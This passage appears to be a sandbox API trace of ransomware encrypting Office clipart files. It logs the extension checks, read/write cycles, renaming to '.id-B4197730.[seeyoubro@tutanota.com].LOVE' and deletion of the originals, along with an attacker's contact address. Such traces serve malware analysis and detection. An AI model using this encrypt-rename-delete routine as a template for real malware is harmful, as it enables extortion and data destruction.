(lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0207.239] lstrlenW (lpString=".zip") returned 4 [0207.239] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0207.239] lstrlenW (lpString=".rar") returned 4 [0207.239] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0207.239] lstrlenW (lpString=".bz2") returned 4 [0207.239] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0207.239] lstrlenW (lpString=".7z") returned 3 [0207.239] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0207.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0207.239] lstrlenW (lpString=".dbf") returned 4 [0207.239] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0207.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0207.239] lstrlenW (lpString=".1cd") returned 4 [0207.239] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0207.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0207.239] lstrlenW (lpString=".jpg") returned 4 [0207.239] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0207.262] GetLastError () returned 0x0 [0207.262] ReadFile (in: hFile=0x330, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x1d74, lpOverlapped=0x0) returned 1 [0207.282] WriteFile (in: hFile=0x33c, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x1d80, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x1d80, lpOverlapped=0x0) returned 1 [0207.283] ReadFile (in: hFile=0x330, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0207.283] WriteFile (in: hFile=0x33c, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0207.283] SetEndOfFile (hFile=0x33c) returned 1 [0207.283] CloseHandle (hObject=0x33c) returned 1 [0207.283] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.284] SetEndOfFile (hFile=0x330) returned 1 [0207.284] CloseHandle (hObject=0x330) returned 1 [0207.284] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0207.284] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf")) returned 1 [0207.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0207.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0207.285] lstrlenW (lpString=".doc") returned 4 [0207.285] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0207.285] lstrlenW (lpString=".docx") returned 5 [0207.285] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0207.285] lstrlenW (lpString=".pdf") returned 4 [0207.285] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0207.285] lstrlenW (lpString=".xls") returned 4 [0207.285] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0207.285] lstrlenW (lpString=".xlsx") returned 5 [0207.285] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0207.285] lstrlenW (lpString=".ppt") returned 4 [0207.285] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0207.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0207.285] lstrlenW (lpString=".zip") returned 4 [0207.285] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0207.285] lstrlenW (lpString=".rar") returned 4 [0207.285] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0207.285] lstrlenW (lpString=".bz2") returned 4 [0207.285] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0207.285] lstrlenW (lpString=".7z") returned 3 [0207.285] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0207.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0207.285] lstrlenW (lpString=".dbf") returned 4 [0207.285] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0207.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0207.285] lstrlenW (lpString=".1cd") returned 4 [0207.285] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0207.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0207.285] lstrlenW (lpString=".jpg") returned 4 [0207.285] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0207.286] GetLastError () returned 0x0 [0207.286] ReadFile (in: hFile=0x330, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x2418, lpOverlapped=0x0) returned 1 [0207.372] WriteFile (in: hFile=0x33c, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x2420, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x2420, lpOverlapped=0x0) returned 1 [0207.374] ReadFile (in: hFile=0x330, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0207.374] WriteFile (in: hFile=0x33c, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0207.374] SetEndOfFile (hFile=0x33c) returned 1 [0207.374] CloseHandle (hObject=0x33c) returned 1 [0207.374] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.374] SetEndOfFile (hFile=0x330) returned 1 [0207.375] CloseHandle (hObject=0x330) returned 1 [0207.375] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0207.376] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf")) returned 1 [0207.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0207.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0207.376] lstrlenW (lpString=".doc") returned 4 [0207.376] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0207.376] lstrlenW (lpString=".docx") returned 5 [0207.376] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0207.376] lstrlenW (lpString=".pdf") returned 4 [0207.376] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0207.376] lstrlenW (lpString=".xls") returned 4 [0207.376] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0207.376] lstrlenW (lpString=".xlsx") returned 5 [0207.376] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0207.376] lstrlenW (lpString=".ppt") returned 4 [0207.376] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0207.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0207.376] lstrlenW (lpString=".zip") returned 4 [0207.376] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0207.376] lstrlenW (lpString=".rar") returned 4 [0207.376] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0207.376] lstrlenW (lpString=".bz2") returned 4 [0207.376] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0207.376] lstrlenW (lpString=".7z") returned 3 [0207.377] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0207.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0207.377] lstrlenW (lpString=".dbf") returned 4 [0207.377] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0207.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0207.377] lstrlenW (lpString=".1cd") returned 4 [0207.377] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0207.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0207.377] lstrlenW (lpString=".jpg") returned 4 [0207.377] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0207.377] GetLastError () returned 0x0 [0207.377] ReadFile (in: hFile=0x330, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x19ec, lpOverlapped=0x0) returned 1 [0207.405] WriteFile (in: hFile=0x33c, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x19f0, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x19f0, lpOverlapped=0x0) returned 1 [0207.406] ReadFile (in: hFile=0x330, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0207.406] WriteFile (in: hFile=0x33c, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0207.407] SetEndOfFile (hFile=0x33c) returned 1 [0207.407] CloseHandle (hObject=0x33c) returned 1 [0207.407] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.407] SetEndOfFile (hFile=0x330) returned 1 [0207.408] CloseHandle (hObject=0x330) returned 1 [0207.408] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0207.408] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf")) returned 1 [0207.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0207.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0207.409] lstrlenW (lpString=".doc") returned 4 [0207.409] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0207.409] lstrlenW (lpString=".docx") returned 5 [0207.409] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0207.409] lstrlenW (lpString=".pdf") returned 4 [0207.409] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0207.409] lstrlenW (lpString=".xls") returned 4 [0207.409] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0207.409] lstrlenW (lpString=".xlsx") returned 5 [0207.409] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0207.409] lstrlenW (lpString=".ppt") returned 4 [0207.409] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0207.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0207.409] lstrlenW (lpString=".zip") returned 4 [0207.409] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0207.409] lstrlenW (lpString=".rar") returned 4 [0207.409] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0207.409] lstrlenW (lpString=".bz2") returned 4 [0207.409] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0207.409] lstrlenW (lpString=".7z") returned 3 [0207.409] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0207.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0207.409] lstrlenW (lpString=".dbf") returned 4 [0207.409] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0207.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0207.410] lstrlenW (lpString=".1cd") returned 4 [0207.410] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0207.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0207.410] lstrlenW (lpString=".jpg") returned 4 [0207.410] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0207.410] GetLastError () returned 0x0 [0207.410] ReadFile (in: hFile=0x330, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x1204, lpOverlapped=0x0) returned 1 [0207.438] WriteFile (in: hFile=0x33c, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x1210, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x1210, lpOverlapped=0x0) returned 1 [0207.440] ReadFile (in: hFile=0x330, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0207.440] WriteFile (in: hFile=0x33c, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0207.440] SetEndOfFile (hFile=0x33c) returned 1 [0207.440] CloseHandle (hObject=0x33c) returned 1 [0207.440] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.440] SetEndOfFile (hFile=0x330) returned 1 [0207.441] CloseHandle (hObject=0x330) returned 1 [0207.441] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0207.442] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf")) returned 1 [0207.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0207.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0207.442] lstrlenW (lpString=".doc") returned 4 [0207.442] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0207.442] lstrlenW (lpString=".docx") returned 5 [0207.442] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0207.442] lstrlenW (lpString=".pdf") returned 4 [0207.442] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0207.442] lstrlenW (lpString=".xls") returned 4 [0207.442] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0207.442] lstrlenW (lpString=".xlsx") returned 5 [0207.442] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0207.442] lstrlenW (lpString=".ppt") returned 4 [0207.442] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0207.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0207.442] lstrlenW (lpString=".zip") returned 4 [0207.443] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0207.443] lstrlenW (lpString=".rar") returned 4 [0207.443] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0207.443] lstrlenW (lpString=".bz2") returned 4 [0207.443] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0207.443] lstrlenW (lpString=".7z") returned 3 [0207.443] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0207.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0207.443] lstrlenW (lpString=".dbf") returned 4 [0207.443] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0207.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0207.443] lstrlenW (lpString=".1cd") returned 4 [0207.443] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0207.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0207.443] lstrlenW (lpString=".jpg") returned 4 [0207.443] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0207.443] GetLastError () returned 0x0 [0207.443] ReadFile (in: hFile=0x330, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x212c, lpOverlapped=0x0) returned 1 [0207.458] WriteFile (in: hFile=0x33c, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x2130, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x2130, lpOverlapped=0x0) returned 1 [0207.459] ReadFile (in: hFile=0x330, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0207.459] WriteFile (in: hFile=0x33c, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0207.459] SetEndOfFile (hFile=0x33c) returned 1 [0207.462] CloseHandle (hObject=0x33c) returned 1 [0207.463] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.463] SetEndOfFile (hFile=0x330) returned 1 [0207.467] CloseHandle (hObject=0x330) returned 1 [0207.467] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0207.468] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf")) returned 1 [0207.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0207.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0207.468] lstrlenW (lpString=".doc") returned 4 [0207.468] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0207.468] lstrlenW (lpString=".docx") returned 5 [0207.468] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0207.468] lstrlenW (lpString=".pdf") returned 4 [0207.468] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0207.468] lstrlenW (lpString=".xls") returned 4 [0207.468] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0207.468] lstrlenW (lpString=".xlsx") returned 5 [0207.468] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0207.468] lstrlenW (lpString=".ppt") returned 4 [0207.469] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0207.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0207.469] lstrlenW (lpString=".zip") returned 4 [0207.469] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0207.469] lstrlenW (lpString=".rar") returned 4 [0207.469] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0207.469] lstrlenW (lpString=".bz2") returned 4 [0207.469] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0207.469] lstrlenW (lpString=".7z") returned 3 [0207.469] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0207.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0207.469] lstrlenW (lpString=".dbf") returned 4 [0207.469] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0207.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0207.469] lstrlenW (lpString=".1cd") returned 4 [0207.469] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0207.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0207.469] lstrlenW (lpString=".jpg") returned 4 [0207.469] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0207.469] GetLastError () returned 0x0 [0207.470] ReadFile (in: hFile=0x330, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x7e0, lpOverlapped=0x0) returned 1 [0207.579] WriteFile (in: hFile=0x37c, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x7f0, lpOverlapped=0x0) returned 1 [0207.580] ReadFile (in: hFile=0x330, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0207.580] WriteFile (in: hFile=0x37c, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0207.580] SetEndOfFile (hFile=0x37c) returned 1 [0207.580] CloseHandle (hObject=0x37c) returned 1 [0207.580] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.580] SetEndOfFile (hFile=0x330) returned 1 [0207.581] CloseHandle (hObject=0x330) returned 1 [0207.581] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0207.582] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf")) returned 1 [0207.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0207.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0207.582] lstrlenW (lpString=".doc") returned 4 [0207.582] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0207.582] lstrlenW (lpString=".docx") returned 5 [0207.582] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0207.582] lstrlenW (lpString=".pdf") returned 4 [0207.582] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0207.582] lstrlenW (lpString=".xls") returned 4 [0207.582] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0207.582] lstrlenW (lpString=".xlsx") returned 5 [0207.582] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0207.582] lstrlenW (lpString=".ppt") returned 4 [0207.582] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0207.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0207.582] lstrlenW (lpString=".zip") returned 4 [0207.582] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0207.583] lstrlenW (lpString=".rar") returned 4 [0207.583] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0207.583] lstrlenW (lpString=".bz2") returned 4 [0207.583] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0207.583] lstrlenW (lpString=".7z") returned 3 [0207.583] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0207.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0207.583] lstrlenW (lpString=".dbf") returned 4 [0207.583] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0207.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0207.583] lstrlenW (lpString=".1cd") returned 4 [0207.583] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0207.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0207.583] lstrlenW (lpString=".jpg") returned 4 [0207.583] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0207.584] GetLastError () returned 0x0 [0207.584] ReadFile (in: hFile=0x330, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x10c8, 